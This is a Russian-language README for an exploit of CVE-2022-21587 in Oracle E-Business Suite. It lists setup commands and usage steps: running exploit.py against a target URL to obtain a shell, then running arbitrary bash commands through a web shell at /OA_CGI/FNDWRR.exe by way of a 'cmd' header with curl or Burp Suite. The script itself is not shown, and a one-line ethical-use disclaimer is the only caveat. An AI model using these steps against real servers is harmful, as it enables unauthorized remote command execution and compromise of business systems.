CVE-2022-21587-Oracle-EBS-

Предварительные требования для запуска этого эксплойта:

• python3, включая модули (requests, os, sys, slipit)
• uuencode

Перед запуском убедитесь, что используете его только в этических целях.

Если эксплойт не запускается:

• Убедитесь, что вы уже установили предварительно требуемые модули.

Установка requests

• pip3 install requests

• Установка slipit, git clone https://github.com/usdAG/slipit

  • cd slipit
  • python3 setup.py sdist
  • pip3 install --user dist/* OR python3 -m pip install --user dist/*

• Установка uuencode

  • sudo apt install sharutils

• Использование : python3 exploit.py http://target.com

  • затем появится оболочка, ИЛИ вы также можете выполнить оболочку с помощью curl или инструментов веб-прокси (burpsuite)
  • с помощью curl : curl -k https://target/OA_CGI/FNDWRR.exe -H 'cmd: whoami'
  • с помощью burpsuite: просто добавьте cmd в заголовок запроса с любой bash-нагрузкой, которую хотите выполнить